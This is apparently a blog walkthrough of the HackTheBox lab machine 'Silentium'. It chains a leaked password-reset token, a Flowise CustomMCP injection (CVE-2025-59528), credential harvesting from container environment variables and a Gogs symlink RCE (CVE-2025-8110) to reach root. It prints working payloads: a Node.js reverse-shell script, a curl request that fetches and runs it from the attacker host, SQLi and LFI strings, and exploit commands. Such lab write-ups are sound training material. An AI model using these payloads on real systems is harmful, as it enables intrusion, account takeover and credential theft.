HackTheBox – Seasons Labs

HTB Labs - Season 10- "Silentium" Machine Walkthrough | By: CyberAlp0

AUTHORCyberAlp0
READ TIME11 MIN
HTB Labs - Season 10- "Silentium" Machine Walkthrough | By: CyberAlp0

Hey Folks, this is CyberAlp0. Welcome to a new walkthrough featuring the machine “Silentium” from Hack The Box — Season 10.

Silentium is a Linux-based machine that demonstrates a real-world attack chain involving account takeover via API token leakage, remote code execution through an AI platform vulnerability (CVE-2025–59528), Docker container escape via credential harvesting, and privilege escalation through a Gogs symlink RCE (CVE-2025–8110).

Executive Summary

Below is a high-level overview of the attack methodology used to compromise the machine.

Stage I: Scanning

An Nmap scan revealed two open TCP ports: SSH (22) and HTTP (80) running Nginx 1.24.0. A UDP scan showed port 68 (DHCP client) which provided no useful attack surface.

Stage II: Enumeration

Web enumeration uncovered the main domain with an “Institutional Leadership” page listing three team members: Marcus Thorne, Ben, and Elena Rossi. A subdomain (staging.silentium.htb) was discovered hosting a Flowise AI platform with a login page requiring email and password authentication.

Stage III: Exploitation

An account takeover was achieved by exploiting a forgot password API that leaked reset tokens in the response body. After resetting Ben’s password, access was gained to the Flowise dashboard. The CustomMCP node (CVE-2025–59528) was exploited via API code injection to gain a reverse shell inside a Docker container. Credentials found in environment variables allowed SSH access as user ben on the host. A locally running Gogs service was then exploited via CVE-2025–8110 (symlink RCE) to achieve root access.

Let’s waste no time and begin pwning the machine…

Phase 1: Scanning & Reconnaissance

First we will start the scanning stage in which we will find all the opened ports and the services that are running on the target’s server. We will start 3 different types of scanning using the Nmap.

Firstly: Initial scanning

Run the following command on the target as an initial scanning

sudo nmap -sC -sV -vv -oN {The path where you will save the file} {The Target}

This will be considered as an initial scan for you to begin working on.

Preforming the initial scan on the target machine.
Preforming the initial scan on the target machine.
There are two TCP services on the target
There are two TCP services on the target

The initial scan shows that there are two TCP services that are running on the ports 22 and 80.

Secondly: All Ports Scan

This scan will run in the background while you are working. Execute the following command

sudo nmap -p- -T4 -oN {The path} {The Target}
Performing the all ports scan on the target's machine. This will take time.
Performing the all ports scan on the target's machine. This will take time.

Thirdly: UDP Scan (Sometimes, it shows valuable information)

Execute the following command

sudo nmap --top-ports 50 -oN {The path} {The Target}
Preforming UDP Scan on the target's machine.
Preforming UDP Scan on the target's machine.

Based on the scan, we find that there is a service running on port 68 called dhcpc.

Phase 2: Enumeration & Information Gathering

At which we will start analyse the target’s URL and navigate more the web application based on what we have found in the first stage of scanning.

Firstly: HTTP/HTTPS (Port 80/443)

We will resolve the IP address in the local DNS server by adding the IP address in the /etc/hosts. Run the following command:

echo "{the target Ip silentium.htb" | sudo tee -a /etc/hosts
The domain is now resolved in the local DNS server.
The domain is now resolved in the local DNS server.

Secondly: Manual checks

At this stage we will navigate the website for any headers, extensions, error pages, search bars, or file upload features.

Thirdly: Directory brute-forcing using gobuster

Preform the following commands to see the possible directories that may be found on the target.

gobuster dir -u http://{Target IP} -w /usr/share/wordlists/dirb/big.txt -b 404,301

This command will try to use the word-list called (big.txt) to brute force the target to find any directories and won’t show any pages that may show any HTTP code requests of 404 and 301.

Execute the following command as well for more enumeration

gobuster dir -u http://target -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,bak,swp,conf -b 404,

Fourthly: Subdomain enumeration

At this stage, we will start brute forcing the domain to find whether there are other subdomains under this domain or not.

gobuster vhost -u http://target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-d
Performing subdomain enumeration for the domain.
Performing subdomain enumeration for the domain.

Based on the scan, we can find out that there is a subdomain under the domain called (http://staging.silentium.htb)

For that, we will need to include the subdomain and resolve it in the local DNS using the following command

echo "{Target IP} staging.silentium.htb" | sudo tee -a /etc/hosts
Adding the subdomain to the local DNS server.
Adding the subdomain to the local DNS server.
The staging platform
The staging platform
The actual or parent domain.
The actual or parent domain.

Now, Both the main domain (silentium.htb) and the subdomain (staging.silentium.htb) are mapped to the same target IP address.

Phase 3: Vulnerability Identification

At this stage, we will identify the vulnerabilities that we have found to test. Firstly, we will test the common vulnerabilities.

Firstly: SQL Injection

' OR 1=1 --
' OR '1'='1
admin' --

Result: N/A

Secondly: Local File Inclusion (LFI)

http://target/page?file=../../../../etc/passwd
http://target/page?file=php://filter/convert.base64-encode/resource=config.php

Result: N/A

Thirdly: Remote File Inclusion (RFI):

http://target/page?file=http://your_ip/shell.php

Result: N/A

Upon testing for the Command Injection, Server-Side Template Injection (SSTI), XML External Entity (XXE), and Type Juggling (PHP), we will also find no results.

Fourthly: Testing Account take over

Through the parent domain, we will recognize that there are 3 different names who would be possible users on the platform. These three users are as shown in the screenshot.

These are the potential three users who might have accounts and emails to access the platform.
These are the potential three users who might have accounts and emails to access the platform.

Upon this, we shall form potential accounts out of these users:

  • marcus.throne@silentium.htb
  • m.throne@silentium.htb
  • ben@silentium.htb
  • elena.rossi@silentium.htb
  • e.rossi@silentium.htb

We can test the "forgot password" feature for each of those accounts to see which one is validated. Click on "forgot password" and try those emails one by one — you will notice that ben@silentium.htb is a valid email.

Click on "forgot your password" and start the interceptor Burp Suite. Enter the email, then click "send the reset link" and observe the response.

Intercepting the request and monitoring the response
Intercepting the request and monitoring the response

You will see this is a POST request. Send the request and you will see that the temp token is exposed in the response body. Copy this token and go to the reset-password page.

 Resetting the password by entering the email and the temp token capture
Resetting the password by entering the email and the temp token capture

Fill these fields to take over Ben's account without entering Ben's inbox.

The key vulnerability here is that the API returns the reset token directly in the response instead of only sending it to the user's email. That's why it's an account takeover — you don't need access to Ben's inbox.

Now that you have a new password for Ben's account, log in.

Ben's Portal: a Flowise AI platform
Ben's Portal: a Flowise AI platform

Understanding the Flowise CVE

Flowise is an open-source, no-code/low-code platform for building AI agents and chatbots visually. The platform has a CustomMCP node that lets users define server configurations in JSON. Since Flowise runs on Node.js, and the CustomMCP config tells the server what command to execute, you can inject a reverse-shell command instead of a legitimate server config — that's CVE-2025–59528.

To confirm the vulnerability, open an HTTP server on the attacker machine:

sudo python3 -m http.server 8000

Then, on the target's machine, execute the following command (you can find the API key in the API Keys tab):

Copy the API key and paste it in the command above]
Copy the API key and paste it in the command above]
curl -X POST http://staging.silentium.htb/api/v1/node-custom-function \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer {API_KEY}" \
  -d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"{\"command\":\"curl\",\"args\":[\"http://<YOUR_IP>:8000/rce_test\"]}"}}'
We got hits from the server. This means the target is vulnerable to the CVE
We got hits from the server. This means the target is vulnerable to the CVE

Phase 4: Exploitation / Initial Access Through Reverse Shell

Direct bash reverse shells failed due to escaping issues in the JSON payload. The solution was a two-step approach — downloading and executing a Node.js reverse shell script.

Step 1: Create a Node.js Reverse Shell File on the Attacker Machine

cat > ~/Downloads/shell.js << 'EOF'
var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4444, "<YOUR_IP>", function(){
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
});
EOF
 Creating a Node.js shell script to be sent to the target's machine]
Creating a Node.js shell script to be sent to the target's machine]

Step 2: Host it via HTTP Server

python3 -m http.server 8000
Note: Make sure to execute this command in the same path where shell.js is saved. We will call this shell from the target's machine using curl.

Step 3: Start a Listener

nc -lvnp 4444

Step 4: Download and Execute the Shell in One Request

curl -X POST http://staging.silentium.htb/api/v1/node-custom-function \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <API_KEY>" \
  -d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"{\"command\":\"node\",\"args\":[\"-e\",\"require(\\\"child_process\\\").exec(\\\"curl http://<YOUR_IP>:8000/shell.js -o /tmp/shell.js && node /tmp/shell.js\\\")\"]}"}}'
Troubleshooting Note: Shell stabilisation with python3 -c 'import pty; pty.spawn("/bin/bash")' fails because bash doesn't exist in this container. Use /bin/sh instead.
Troubleshooting note: can't stabilise the shell using /bin/bash
Troubleshooting note: can't stabilise the shell using /bin/bash

Stabilise the Shell Using the Following Command

python3 -c 'import pty; pty.spawn("/bin/sh")'
Connection is received and stabilised using /bin/sh
Connection is received and stabilised using /bin/sh

Phase 5: Post-Exploitation / Local Enumeration (Linux)

Based on the connection from the previous task, we notice that this is a Docker container shell, not the actual host machine.

Shell in the Docker container
Shell in the Docker container

Evidence That This Is a Docker Container

  • The hostname is a random container ID. Real machines have readable hostnames; random hex strings indicate Docker container IDs.
  • We can't find user.txt or root.txt. There are no sudo commands and no flags in expected locations.
  • A .dockerenv file is present:
ls -la /.dockerenv
  • It is mentioned when listing the cgroup:
cat /proc/1/cgroup

The flags are on the host machine, not inside this container. You need to escape this step and try to get a real SSH session to the host.

Phase 6: Privilege Escalation & Capturing the User Flag

To get the saved credentials, execute the following command:

cat /proc/1/environ | tr '\0' '\n'

What it does:

  • /proc/1/environ — contains the environment variables of process ID 1 (the main process running in the container)
  • tr '\0' '\n' — replaces null characters with newlines to make it readable
Note: You can also use env or printenv to see environment variables, but /proc/1/environ is more reliable as it shows the original variables passed when the container started.

What it revealed:

FLOWISE_USERNAME=ben
FLOWISE_PASSWORD=F1l3_d0ck3r
SMTP_PASSWORD=r04D!!_R4ge

From your attacker machine (not from inside the container), try:

ssh ben@silentium.htb

Try both passwords:

  • F1l3_d0ck3r
  • r04D!!_R4ge
Getting SSH access using Ben's username]
Getting SSH access using Ben's username]

Once you're on the actual host via SSH, you'll find the user flag:

Capturing the user flag for the Silentium machine from HTB]
Capturing the user flag for the Silentium machine from HTB]

The user flag for the Silentium machine is:

06033951af6d0b34bc71d99ac20c4008

Phase 7: Privilege Escalation & Capturing the Root Flag via Gogs RCE (CVE-2025–8110)

Firstly: Checking for Internal Services

We will use netstat to detect services running internally, including listening ports and processes only accessible from inside the machine.

netstat -tulpn | grep 127.0.0.1

Flag meanings:

  • -t — show TCP connections
  • -u — show UDP connections
  • -l — show only listening ports (services waiting for connections)
  • -p — show the process name/PID using the port
  • -n — show numbers instead of resolving host names (faster output)

The grep filters the output to only show services listening on localhost — meaning services only accessible from inside the machine, not from outside.

Note: Services on 127.0.0.1 are hidden from external scans. Nmap from your attacker machine can't see them. That's how Gogs on port 3001 was discovered — it was only listening internally, invisible to external reconnaissance.

Example Output:

tcp    0    0 127.0.0.1:3001    0.0.0.0:*    LISTEN    1234/gogs
tcp    0    0 0.0.0.0:22        0.0.0.0:*    LISTEN    567/sshd
tcp    0    0 0.0.0.0:80        0.0.0.0:*    LISTEN    890/nginx
  • Port 3001 — only on 127.0.0.1 (hidden, internal only)
  • Port 22 and 80 — on 0.0.0.0 (accessible from outside)
Scanning the internal and external services that are running
Scanning the internal and external services that are running

A service was found listening on port 3001, identified as Gogs v0.13.0 — a self-hosted Git service. Gogs is running as root, making it a prime privilege escalation target.

Secondly: Port Forwarding

Since Gogs is only accessible from localhost, we create an SSH tunnel to redirect the traffic and make ourselves appear as if inside the server:

ssh -L 3001:127.0.0.1:3001 ben@<TARGET_IP>
Tunnelling the connection between the localhost service and the attacker machine
Tunnelling the connection between the localhost service and the attacker machine

This allows accessing Gogs at http://localhost:3001 from the attacker's browser.

Thirdly: Gogs Account Setup

  1. Navigate to http://localhost:3001/user/signup
  2. Register an account (e.g., username: cyberalp0, password: Password123)
Important Note: Avoid special characters (like @, &, !) in the password. The exploit script embeds credentials into Git clone URLs, and special characters break URL parsing, causing "URL rejected: Bad host name" errors.

Fourthly: Exploitation with CVE-2025–8110

CVE-2025–8110 is a critical symlink path traversal vulnerability in Gogs. The PutContents API validates file paths for directory traversal (../) but does not resolve symbolic links before writing. This allows an authenticated user to overwrite files outside the repository directory.

The exploit works by:

  1. Creating a repository with an auto-initialised README
  2. Pushing a symlink pointing to the internal .git/config file
  3. Using the Gogs API to overwrite the config with a malicious sshCommand
  4. Triggering the sshCommand by performing a Git operation over SSH
  5. Since Gogs runs as root, the injected command executes as root

Fifthly: Download and Run the Exploit

git clone https://github.com/kayl22/cve-2025-8110-GOGS-RCE.git
cd cve-2025-8110-GOGS-RCE
pip install requests --break-system-packages
Downloading the CVE from GitHub and installing the requirements]
Downloading the CVE from GitHub and installing the requirements]
 Establishing the connection]
Establishing the connection]

Sixthly: Start a Listener & Execute the Exploit

nc -lvnp 5555
python3 cve-2025-8110.py --url http://localhost:3001 \
  --ssh-target localhost:22 \
  -lh 10.10.15.90 -lp 5555 \
  -u cyberalp0 -P Password123

A root shell was received on the listener.

Finally: Capturing the Root Flag

cat /root/root.txt
Capturing the root flag for the Silentium machine from HackTheBox]
Capturing the root flag for the Silentium machine from HackTheBox]

The Root Flag for Silentium Machine is:

8752d407e084cb67ddd5e8daf3e9f70c

Attack Chain Summary

  1. Reconnaissance — Nmap (ports 22, 80)
  2. Web Enumeration — Names from the leadership page (Marcus, Ben, Elena)
  3. Account Takeover — Forgot-password API leaks reset token in response body
  4. Flowise Dashboard Access — Login as ben with the new password
  5. RCE via CustomMCP Code Injection — CVE-2025–59528
  6. Docker Container Shell — Root inside container
  7. Credential Harvesting/proc/1/environ reveals env variables
  8. SSH as ben — Host access + user flag (06033951af6d0b34bc71d99ac20c4008)
  9. Gogs Discovery — Port 3001 listening on localhost only
  10. Gogs Symlink RCE — CVE-2025–8110 via SSH tunnel
  11. Root Shell + Root Flag8752d407e084cb67ddd5e8daf3e9f70c

Key Takeaways

  1. API Security: Never expose sensitive tokens in API responses. The forgot-password endpoint leaked the reset token directly, enabling account takeover without access to the user's email.
  2. Input Validation: The Flowise CustomMCP vulnerability (CVE-2025–59528) demonstrates why user input should never be passed to code execution functions.
  3. Docker Security: Avoid storing credentials in environment variables. Even inside a container, environment variables are easily readable and can lead to container escape when credentials are reused on the host.
  4. Symlink Handling: The Gogs vulnerability (CVE-2025–8110) shows the importance of resolving symbolic links before performing file operations. Path validation alone is insufficient if symlinks are not accounted for.
  5. Principle of Least Privilege: Running services like Gogs as root means any exploit immediately grants root access. Services should run under dedicated low-privilege accounts.

Troubleshooting Notes

  • Gobuster errors: If gobuster shows status code conflicts, use -b 301,404 or switch to ffuf with -fs to filter by response size.
  • Bash not found in container: Use /bin/sh instead of /bin/bash for shell stabilisation in minimal Docker containers.
  • Reverse shell escaping issues: When injecting payloads via JSON APIs, avoid complex bash one-liners. Instead, use a two-step approach: download a shell script, then execute it.
  • Special characters in passwords: When using exploit scripts that embed credentials in URLs, avoid characters like @, !, # in passwords to prevent URL parsing failures.

Hope you enjoyed reading my blog about solving the Silentium machine from HTB — Season 10.

See you in another write-up!

[ #Silentium ][ #HTB ][ #HackTheBox ][ #EthicalHacking ][ #Web Application Penetration Testing ][ #Penetration Testing ][ #OSCP Preperations ][ #BugBounty ][ #cyberalp0 ][ #cyberskii ][ #ippsec ][ #HTB labs ][ #HackTheBox Labs ]